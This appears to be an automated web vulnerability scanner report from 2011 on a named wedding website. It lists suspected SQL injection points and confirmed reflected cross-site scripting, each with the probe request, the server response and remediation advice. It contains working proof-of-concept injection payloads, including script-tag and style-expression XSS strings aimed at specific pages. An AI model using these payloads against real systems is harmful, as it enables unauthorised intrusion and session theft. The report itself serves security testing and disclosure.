SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
1.1. http://weddings.theknot.com/Real-Weddings/73399/view.aspx [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Tentative
Host:
http://weddings.theknot.com
Path:
/Real-Weddings/73399/view.aspx
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /Real-Weddings/73399/view.aspx?id=73399&type=1&1'=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 02 Jan 2011 13:57:59 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135759167566; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135759167566; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8129
<html> <head> <title>The expression contains an invalid string constant: '1'' AND ObjectTypeId=1.</title> <style> body {font-family:"Verdana";font-weight:normal;font-s ...[SNIP]... </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br> ...[SNIP]...
Request 2
GET /Real-Weddings/73399/view.aspx?id=73399&type=1&1''=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:59 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135759164566; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135759164566; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 81258
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
1.2. http://weddings.theknot.com/Real-Weddings/Bouquets/results.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://weddings.theknot.com
Path:
/Real-Weddings/Bouquets/results.aspx
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /Real-Weddings/Bouquets/results.aspx?type=3&wedding_details=Bridal+Bouquets%2CBridesmaid+Bouquets&1'=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 02 Jan 2011 13:58:28 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135828159099; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135828159099; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 7644
<html> <head> <title>The expression contains an invalid string constant: '1'' AND ObjectTypeId=3.</title> <style> body {font-family:"Verdana";font-weight:normal;font-s ...[SNIP]... </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br> ...[SNIP]...
Request 2
GET /Real-Weddings/Bouquets/results.aspx?type=3&wedding_details=Bridal+Bouquets%2CBridesmaid+Bouquets&1''=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:58:29 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135828166099; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135828166099; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 81143
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
1.3. http://weddings.theknot.com/Real-Weddings/Cake/results.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://weddings.theknot.com
Path:
/Real-Weddings/Cake/results.aspx
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /Real-Weddings/Cake/results.aspx?type=3&wedding_details=Cake&&1'=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 02 Jan 2011 13:58:44 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135844163243; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135844163243; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 7644
<html> <head> <title>The expression contains an invalid string constant: '1'' AND ObjectTypeId=3.</title> <style> body {font-family:"Verdana";font-weight:normal;font-s ...[SNIP]... </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br> ...[SNIP]...
Request 2
GET /Real-Weddings/Cake/results.aspx?type=3&wedding_details=Cake&&1''=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:58:44 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135844162243; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135844162243; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 99998
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /Real-Weddings/Centerpieces_Centerpieces/results.aspx?type=3&wedding+details=Centerpieces&Sort=KnotPicks&&1'=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 02 Jan 2011 13:58:41 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135841166277; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135841166277; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 7644
<html> <head> <title>The expression contains an invalid string constant: '1'' AND ObjectTypeId=3.</title> <style> body {font-family:"Verdana";font-weight:normal;font-s ...[SNIP]... </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br> ...[SNIP]...
Request 2
GET /Real-Weddings/Centerpieces_Centerpieces/results.aspx?type=3&wedding+details=Centerpieces&Sort=KnotPicks&&1''=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:58:41 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135841166277; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135841166277; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 110375
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
1.5. http://weddings.theknot.com/Real-Weddings/reception-decor-and-reception/results.aspx [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /Real-Weddings/reception-decor-and-reception/results.aspx?type=3&wedding+details=reception+decor%2creception&Sort=KnotPicks&&1'=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 02 Jan 2011 13:58:49 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135849168800; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135849168800; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 7644
<html> <head> <title>The expression contains an invalid string constant: '1'' AND ObjectTypeId=3.</title> <style> body {font-family:"Verdana";font-weight:normal;font-s ...[SNIP]... </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br> ...[SNIP]...
Request 2
GET /Real-Weddings/reception-decor-and-reception/results.aspx?type=3&wedding+details=reception+decor%2creception&Sort=KnotPicks&&1''=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:58:49 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135849164800; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135849164800; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 82286
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
1.6. http://weddings.theknot.com/Wedding-Invitations/results.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://weddings.theknot.com
Path:
/Wedding-Invitations/results.aspx
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /Wedding-Invitations/results.aspx?1'=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 02 Jan 2011 13:58:13 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135813164130; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135813164130; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 7873
<html> <head> <title>The expression contains an invalid string constant: '1'' AND ObjectTypeId=0.</title> <style> body {font-family:"Verdana";font-weight:normal;font-s ...[SNIP]...
Request 2
GET /Wedding-Invitations/results.aspx?1''=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 500 Internal Server Error Date: Sun, 02 Jan 2011 13:58:13 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135813163130; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135813163130; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 6030
<html> <head> <title>Object reference not set to an instance of an object.</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} ...[SNIP]...
2. Cross-site scripting (reflected)previousnext There are 18 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
2.1. http://weddings.theknot.com/Real-Weddings/73399/view.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://weddings.theknot.com
Path:
/Real-Weddings/73399/view.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload e7b2f--><script>alert(1)</script>8d301a15447 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /Real-Weddings/73399/view.aspx?id=73399&type=1&e7b2f--><script>alert(1)</script>8d301a15447=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:58 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135758167271; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135758167271; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 83189
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2.2. http://weddings.theknot.com/Real-Weddings/Bouquets/results.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://weddings.theknot.com
Path:
/Real-Weddings/Bouquets/results.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload e1f5f--><script>alert(1)</script>21b28134f9c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /Real-Weddings/Bouquets/results.aspx?e1f5f--><script>alert(1)</script>21b28134f9c=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:39 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135739163052; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135739163052; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 84227
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of the wedding_details request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a121b"style%3d"x%3aexpression(alert(1))"cc234115174 was submitted in the wedding_details parameter. This input was echoed as a121b"style="x:expression(alert(1))"cc234115174 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /Real-Weddings/Bouquets/results.aspx?type=3&wedding_details=Bridal+Bouquets%2CBridesmaid+Bouquetsa121b"style%3d"x%3aexpression(alert(1))"cc234115174 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:46 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135745166903; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135745166903; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 83368
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of the wedding_details request parameter is copied into an HTML comment. The payload 9a044-->aecd37485c9 was submitted in the wedding_details parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /Real-Weddings/Bouquets/results.aspx?type=3&wedding_details=Bridal+Bouquets%2CBridesmaid+Bouquets9a044-->aecd37485c9 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:54 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135754167921; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135754167921; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 81852
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2.5. http://weddings.theknot.com/Real-Weddings/Cake/results.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://weddings.theknot.com
Path:
/Real-Weddings/Cake/results.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload c2924--><script>alert(1)</script>a9915d526f2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /Real-Weddings/Cake/results.aspx?c2924--><script>alert(1)</script>a9915d526f2=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:58 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135758164271; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135758164271; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 84304
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of the wedding_details request parameter is copied into an HTML comment. The payload 75f96-->d193bcffe8d was submitted in the wedding_details parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /Real-Weddings/Cake/results.aspx?type=3&wedding_details=Cake75f96-->d193bcffe8d& HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:58:21 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135821165741; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135821165741; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 65083
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 54094--><script>alert(1)</script>54676cc6da1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /Real-Weddings/Centerpieces_Centerpieces/results.aspx?54094--><script>alert(1)</script>54676cc6da1=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:52 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135752159230; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135752159230; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 84299
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
